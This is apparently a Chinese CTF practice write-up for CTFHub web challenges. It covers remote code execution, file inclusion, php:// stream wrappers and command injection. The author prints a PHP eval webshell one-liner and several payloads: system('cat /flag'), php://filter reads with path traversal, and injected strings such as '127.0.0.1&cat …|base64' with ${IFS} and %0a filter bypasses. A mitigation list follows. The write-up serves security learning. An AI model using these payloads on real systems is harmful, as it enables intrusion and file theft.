RCE
RCE英文全称:remote command/code execute(远程命令/代码执行漏洞)
分为远程命令执行ping和远程代码执行evel。
漏洞出现的原因:没有在输入口做输入处理。
我们常见的路由器、防火墙、入侵检测等设备的web管理界面上
一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。其实这就是一个接口,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统,这就是RCE漏洞。相当于直接操控服务器电脑的cmd命令行!高危漏洞!
eval执行
eval(xxx)函数将xxx当做PHP语言执行
<?php evaL ($_REQUEST [“cmd”] ) ?>
_REQUEST包含了GET、_POST、$_COOKIE的所有内容,是它们的集合体。也就内是说只要用其中一种方容式做一个表单,把cmd这个变量给POST或者GET,甚至用cookies就可以把传输上去的内容执行。简而言之吧,就是执行cmd的值。以上代码就是执行cmd
进入题目
我们先查它的目录?cmd=system('ls');
没啥有用的东西,我们查看上一级目录?cmd=system('ls /');
可以看到有flag的地址,我们查看他?cmd=system('cat /flag_28094');
得到flag
在url后添加命令时要注意:的使用
文件包含
程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某个函数的时候,直接调用此文件,无需再次编写,这种调用文件的过程通常称为包含。
程序开发人员都希望代码更加灵活,所以通常会把被包含的文件设置为变量,来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用任意文件,造成文件包含漏洞
进入题目
strpos函数的定义:
strpos — 查找字符串首次出现的位置
作用:主要是用来查找字符在字符串中首次出现的位置。
结构:int strpos ( string $haystack , mixed $needle [, int $offset = 0 ] )
strpos 函数返回查找到的子字符串的下标。如果字符串开头就是我们要搜索的目标,则返回下标 0 ;如果搜索不到,则返回 false 。在这道题目中,开发者只考虑到 strpos 函数返回 false 的情况,却忽略了匹配到的字符在首位时会返回 0 的情况,因为 false和 0 的取反均为 true。 这样我们就可以在用户名和密码首字符注入 < 符号,从而注入xml数据。
我们点击shell
有点眼熟吧,上题刚学的代码
request = post + get
这个时候需要我们同时使用get和post请求,构造payload,向ctfhub传参
get:file=shell.txt
post:ctfhun=system('ls');
查个目录
还是没啥东西
看看上一级
post改为:ctfhub=system('ls /');
看到flag啦
查看ctfhub=system('cat flag');
得到flag
这道题有多种题解,也可以使用BS或者firefox的渗透版本进行抓包返包请求拿到flag
php://input
知识点 php://input
php:// — 访问各个输入/输出流(I/O streams)
php://input 是个可以访问请求的原始数据的只读流.
可以接收post请求作为输入流的输入,将请求作为PHP代码的输入传递给目标变量,以达到以post 的形式进行输入的目的。
进入题目
点击phpinfo,发现以下字段,证明是可以使用php://input的。
使用bp抓包,发送到repeater中,构造包
将方法修改为POST
目标换成:/?file=php://input
body: 查看上一级文件目录,发现flag文件
还是一样我们来查看他
成功
读取源代码
我们直接进入题目
if ( substr($_GET[“file”], 0, 6) === “php://“ ) #file里面第0个到第6个字符必须等于 php:// 。
可以发现这里也有php://我们用和上题一样的方法进行尝试
没有反应,这里的input是不起作用,看大佬说是allow_url_fopen没有开启。
就需要我们学习一下别的东西了
php伪协议
构造下payload?file=php://filter/read=convert.base64-encode/resource=../../../flag
得到一串base64编码
解码即可得到flag
上面的代码抄别人的,又仔细思考了一下,自己构造了一个payload?file=php://filter/resource=/flag
直接就出来了
php伪协议学的也还不是很懂,之后专门拿一篇博客来学习吧
先放个粗糙学习的链接:http://t.csdn.cn/J9naa
远程包含
文件包含可以包含任意后缀的东西当做php执行,找到一个文件包含漏洞,上传图片马,这样就可以拿到了webshell
文件包含是个功能 => 任意文件包含才是漏洞
文件包含:
本地文件包含:包含自己主机上的文件 (LFI) L就是本地 Local
远程文件包含:可以远程读取文件直接包含 (RFI) R远程 Remote
知识点:远程文件包含默认不开启,它需要修改配置才可以 allow_url_include=on
本地文件包含中是不允许出现问号的
隐藏的小技巧:可以让在不开启配置文件的情况下使用SMB法让本地文件远程包含
cmd也会偷懒,进入一个文件夹再退出,其实不会真的去执行进入,也不会报错,哪怕文件夹不存在
进入题目
点击phpinfo,发现allow_url_fopen,allow_url_include都开了,我们再试试php://input
这题看了网上wp都是可以直接在hackbar上面做,但不知道是我环境的问题还是hackbar的问题,试了好几次都不可以使用post传参,最后使用bp才上去了。
命令注入
1、什么是命令注入
Command Injection,即命令注入攻击,是指由于嵌入式应用程序或者 web应用程序对用户提交的数据过滤不严格,导致黑客可以通过构造特殊命令字符串的方式,将数据提交至应用程序中,并利用该方式执行外部程序或系统命令实施攻击,非法获取数据或者网络资源等。
在命令注入的漏洞中,最为常见的是PHP的命令注入。PHP命令注入攻击存在的主要原因是Web应用程序员在应用PHP语言中一些具有命令执行功能的函数时,对用户提交的数据内容没有进行严格的过滤就带入函数中执行而造成的。例如,当黑客提交的数据内容为向网站目录写入PHP文件时,就可以通过该命令注入攻击漏洞写入一个PHP后门文件,进而实施进一步的渗透攻击。
原理:web应用在调用这些函数执行系统命令的时候,在没有做好过滤用户输入的情况下,如果用户将自己的输入作为系统命令的参数拼接到命令行中,就会造成命令注入(命令执行)的漏洞。
2、命令注入攻击是如何形成的?
嵌入式应用程序或者 web应用程序有时需要调用一些系统命令的函数,如linux C中的system(),exec(),shell-exec() 等等,当用户能够控制这些函数中的参数时,就可以将恶意参系统命令拼接到正常命令中,从而造成命令注入攻击设备系统:
命令注入的形成需要如下三个条件:
1)使用了内部调用shell的函数:system(),exec()等
2)将外界传入的参数没有足够的过滤,直接传递给内部调用shell的函数
3)参数中shell的元字符没有被转义
危害:继承嵌入式应用程序或者 web应用程序的权限去执行系统命令读写执行文件,导致系统有可能会被恶意攻击或者泄露系统用户信息。
3、命令注入相关的特殊字符
4、命令注入解法策略:
1)校验外部数据命令:在执行system、eval等命令执行功能的函数前,确定参数内容。
a. 对数据的合法性进行校验(不是校验是否包含命令注入的特殊字符):比如IP地址,直接校验IP地址的格式(inet_aton() ); 如果是url域名,则从url域名中获取IP地址(gethostname(),inet_ntop() )后,在进行IP格式校验,若获取失败或者校验失败,则认为数据非法。
b. 使用正则表达式对外部数据命令进行校验:白名单过滤?
2)使用白名单安全过滤:比较适用于固定不变的命令或者数据(校验包含哪些目标字符,而不是定义不能包含什么字符)或者直接将命令定义为宏,然后使用system() 系统调用。
3)使用黑名单过滤命令:黑名单机制还是有可能会绕过系统校验,进行命令注入;所以不建议使用
4)使用 exec系列族 函数代替 system() 系统调用函数,选择不调用系统命令的实现方法、避免使用内部调用shell的函数、不将外界传入的字符串传递给命令行参数
5)使用安全的函数对传递给系统命令的参数进行转义
6)将应用程序的权限降到最低
7)给web服务器系统及使用的中间件及时打上安全补丁
8)使用escapeshellarg函数处理相关参数。Escapeshellarg函数会将任何引起参数或命令结束的字符进行转义,如单引号“’”会被转义为“\’”,双引号“””会被转义为“\””,分号“;”会被转义为“;”,这样escapeshellarg会将参数内容限制在一对单引号或双引号里面,转义参数中所包含的单引号或双引号,使其无法对当前执行进行截断,实现防范命令注入攻击的目的。
示例:
学习资料来源:http://t.csdn.cn/Jqyzz
进入题目
使用&连接符,连接别的命令试一下,发现也执行了后面的命令,且文件夹下有个php文件127.0.0.1&ls
我们试着打开他,发现行不通127.0.0.1&cat 68242722522485.php
猜测是文件中包含特殊字符,我们使用管道运行base64加密内容127.0.0.1&cat 68242722522485.php|base64
得到一串base64编码,解码得到flag
过滤cat
查看文本的命令
cat 由第一行开始显示内容,并将所有内容输出
tac 从最后一行倒序显示内容,并将所有内容输出
more 根据窗口大小,一页一页的现实文件内容
less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head 只显示头几行
tail 只显示最后几行
nl 类似于cat -n,显示时输出行号
tailf 类似于tail -f
进入题目
和上题一样,我们还是先查看目录
发现flag文件,想办法来查看他
题目提示我们cat被过滤了,我们就使用别的127.0.0.1&tac flag_54941867526417.php|base64
解码得到flag
过滤空格
这题就直接看题目吧
还是先查看目录
空格被过滤了,我们可以使用<或者/**/来代替127.0.0.1&cat<flag_51637971848.php|base64
过滤目录分隔符
这题过滤了/
我们还是直接查目录
发现flag的地址127.0.0.1&cd flag_is_here;ls
发现flag的文件名,我们打开它127.0.0.1&cd flag_is_here;cat flag_31134901228448.php|base64
这个目录分隔符过滤的好像没啥用,可能运气好,刚好是可以用的运算符
过滤运算符
进入题目,可以发现过滤的东西还挺多的,记得极客大挑战也做过一题绕过命令注入,好像也写了wp吧,那玩意才恐怖,把能过滤的全过滤了
可以发现(\||\&)都被过滤了,但是好像;就够了,我们还是先看目录127.0.0.1;ls
直接给了flag的php文件
我们直接来查看
管道符被过滤了,我们可以这样127.0.0.1;base64 flag_35581947623309.php
完事
综合过滤练习
进入题目
运算符基本上都给过滤了
审计代码,过滤了| & ; cat flag ctfhub 空格
空格可以用${IFS},$IFS$
cat可以用more,tac…
flag可以用正则f***,拼接应该也行
ctfhub应该用不到
查了一下,在linux下,命令分隔符除了;还有%0a
有了;就可以不用运算符了
然后按着之前的思路去做就可以了
因为%0a是url编码,所以一定要输在url中,否则%0a会被再次编码?ip=127.0.0.1%0als?ip=127.0.0.1%0acd${IFS}f***_is_here%0als
flag文件,嘿嘿,打开?ip=127.0.0.1%0Acd${IFS}f***_is_here{IFS%0Abase64$IFS$fl**_20457353132286.php
好噜
不知道为啥拼接不行,感觉是我payload的问题
